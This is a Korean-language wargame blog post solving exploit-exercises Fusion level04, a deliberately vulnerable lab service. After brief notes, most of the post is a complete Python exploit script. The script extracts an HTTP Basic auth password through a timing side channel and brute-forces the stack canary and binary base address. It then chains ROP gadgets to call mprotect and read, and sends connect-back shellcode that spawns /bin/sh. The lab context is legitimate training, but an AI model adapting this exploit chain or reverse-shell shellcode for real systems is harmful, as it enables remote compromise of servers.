int $0x80

exploit-exercises fusion level04 본문

워게임/fusion - exploit_exercises

exploit-exercises fusion level04

cd80 cd80 2014.11.03 15:48


binary base address를 브루트포싱으로 구했는데

지금 생각해보니 ssp 메세지에 메모리덤프가 오는걸 까먹고있었다

이거 이용하면 브루트포싱 필요 X


최초실행시 password = '' 밑에 password='~~~~' 를 주석처리하고 

canary = ''

binary = 0으로 설정하고 실행한뒤

다음에 실행할때 세개 값 확인해서 넣어두면 빠르게 가능

password 알아올때 마지막 글자만 분리한 이유는

왜그런지는 아직 모르겠는데 마지막글자만 느리게 나오고 다른 글자가 나오는경우가 많음

그래도 빈도는 맞는글자가 더 많이 나와서 10번 돌려보고 제일 많이 나온글자로 결정 -> 내 테스트환경에선 이렇게 했을때 false positive 없었음


canary는 메모리릭 방법이 딱히 없어서 내 문서의 세번째에 있는 방법 사용

이후 익스플로잇은 그냥 익스플로잇

alarm(15)때문에 쉘은 뜨는데 15초뒤에 쉘 꺼짐



from cd80 import *
from base64 import b64encode as e
from time import sleep, time
import sys
from select import select
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
tmp_for_elapsed = []
tmp_for_char = []
password = ''
#password = 'R40xiu0Ngy663KGP'
shellcode = "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd" +\
"\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\x7f\x00\x00" +\
"\x01\x68\x02\x00\x10\xe1\x89\xe1\xb0\x66\x50\x51\x53\xb3" +\
"\x03\x89\xe1\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62" +\
"\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"
if not len(password):
    for i in range(0, 15):
        sys.stdout.write("%dth char...[ "%i)
        for j in charset:
            s = makeCon("192.168.81.140", 20004)
            request = ""
            
            request += "GET / HTTP/1.1\r\n"
            request += "Authorization: Basic "
            request += e(password + j)
            request += "\r\n"
            s.send(request)
            start = time()*10000
            s.recv(4096)
            s.recv(4096)
            s.recv(4096)
            tmp_for_elapsed.append((time()*10000-start))
            s.close()
        mintime = sorted(tmp_for_elapsed)[0]
        mintime_idx = tmp_for_elapsed.index(mintime)
        password += charset[mintime_idx]
        sys.stdout.write(password+" ]\n")
        tmp_for_elapsed = []

    print "now trying 10 times for last character..."
    frequency_table = {}
    for i in range(0, 10):

        # all same except : request += e(~~~~~)
        sys.stdout.write("Trying...%d [ "%i)
        for j in charset:
            s = makeCon("192.168.81.140", 20004)
            request = ""
            
            request += "GET / HTTP/1.1\r\n"
            request += "Authorization: Basic "
            request += e("A"*15 + j)
            request += "\r\n"
            s.send(request)
            start = time()*10000
            s.recv(4096)
            s.recv(4096)
            s.recv(4096)
            tmp_for_elapsed.append((time()*10000-start))
            s.close()
        mintime = sorted(tmp_for_elapsed)[0]
        mintime_idx = tmp_for_elapsed.index(mintime)
        sys.stdout.write("%c ]\n"%charset[mintime_idx])
        tmp_for_elapsed = []
        if charset[mintime_idx] in frequency_table:
            frequency_table[charset[mintime_idx]] += 1
        else:
            frequency_table[charset[mintime_idx]] = 1
    password += sorted(frequency_table, key=frequency_table.get, reverse=True)[0]

    print "Final password: %s"%password


#########################
######## stage 2 ########
#########################
def sendpayload(payload):
    recved = ''
    s = makeCon("192.168.81.140", 20004)
    request = ""
    request += "GET / HTTP/1.1\r\n"
    request += "Authorization: Basic "
    request += e(password+payload)
    request += "\r\n\r\n"
    
    s.send(request)
    try:
        recved = s.recv(4096)
    except:
        pass
    try:
        recved += s.recv(4096)
    except:
        pass
    s.close()
    
    return recved
payload = "A"*2032
canary = ''
if not canary:
    print "Getting canary...."
    for a in range(0, 0x100):
        recved = sendpayload(payload + chr(a))
        #print "Trying first byte...0x%02x"%a
        if recved.find("detected") != -1:
            continue
        else:
            canary += chr(a)
            break
    print "First byte:\t0x%02x"%a
    for b in range(0, 0x100):
        recved = sendpayload(payload + canary + chr(b))
        #print "Trying second byte...0x%02x"%b
        if recved.find("detected") != -1:
            continue
        else:
            canary += chr(b)
            break
    print "Second byte:\t0x%02x"%b
    for c in range(0, 0x100):
        recved = sendpayload(payload + canary + chr(c))
        #print "Trying third byte...0x%02x"%c
        if recved.find("detected") != -1:
            continue
        else:
            canary += chr(c)
            break
    print "Third byte:\t0x%02x"%c
    for d in range(0, 0x100):
        recved = sendpayload(payload + canary + chr(d))
        #print "Trying fourth byte...0x%02x"%d
        if recved.find("detected") != -1:
            continue
        else:
            canary += chr(d)
            break
    print "Fourth byte:\t0x%02x"%d
    canary = up(canary)

print "Canary: 0x%08x"%canary

binary = 0
if not binary:
    for i in range(0x1000, 0, -1):

        payload = "A"*2032
        payload += p(canary)
        payload += "AAAABBBBCCCC"+p(0xb7000000+i*0x1000+0x4118)+"EEEEFFFFGGGG"
        payload += p(0xb7000000+i*0x1000+0x2a73)
        #    payload += "AAAA"
        print "Trying...[0x%08x]"%(0xb7000000 + i*0x1000)

        if sendpayload(payload).find("Not Found") != -1:
            print "Found binary imagebase: 0x%08x"%(0xb7000000 + i*0x1000)
            binary = 0xb7000000 + i*0x1000
            break
        #sleep(0.1)

library = binary - 0x1a9000

binary_lea_eax_edx_minus_30 = 0x1af3
binary_popebx_ret = 0x10db
binary_add_ebx_plus_5e5b10c4_eax_popebp_ret = 0x1798

payload = "A"*2032
payload += p(canary)
payload += "AAAABBBBCCCC"+p(binary+0x4118)+"EEEEFFFFGGGG"
#pop edx; ret
payload += p(library+0x2da2c)
# mprotect - calloc + 0x30
payload += p(0x5b2a0)
# lea eax, [edx - 0x30]; ret
payload += p(binary + 0x1af3)
# pop ebx; ret
payload += p(binary + 0x10db)
# binary + 0x4214 = calloc@GOT
payload += p(binary + 0x4214 - 0x5e5b10c4)
# add [ebx+0x5e5b10c4], eax; pop ebp; ret
payload += p(binary+0x1798)
payload += "AAAA" # dummy for pop ebp

#pop ebx; ret -> recover GOT address stored in ebx
payload += p(binary + 0x10db)
payload += p(binary + 0x4118)

# calloc@PLT => call mprotect
payload += p(binary + 0x1080)
# pppr
payload += p(binary + 0x179c)
# bss
payload += p(binary + 0x4000)
payload += p(0x1000)
payload += p(7)

#pop ebx; ret -> recover GOT address stored in ebx
payload += p(binary + 0x10db)
payload += p(binary + 0x4118)

# read@PLT
payload += p(binary + 0xd20)
payload += p(binary+0x4500)
payload += p(0)
payload += p(binary+0x4500)
payload += p(0x500)
payload += p(0)

s = makeCon("192.168.81.140", 20004)
request = ""
request += "GET / HTTP/1.1\r\n"
request += "Authorization: Basic "
request += e(password+payload)
request += "\r\n"
raw_input("send exploit payload> ")
s.send(request)
#try:
    #recved = s.recv(4096)
#except:
#    pass
#try:
#    recved += s.recv(4096)
#except:
#    pass

s.send(shellcode)
s.close()


'워게임 > fusion - exploit_exercises' 카테고리의 다른 글

exploit-exercises fusion level04  (1) 2014.11.03
exploit-exercises fusion level03  (0) 2014.11.01
exploit-exercises fusion level02  (0) 2013.09.29
exploit-exercises fusion level01  (0) 2013.09.29
exploit-exercises fusion level00  (0) 2013.09.28
1 Comments
댓글쓰기 폼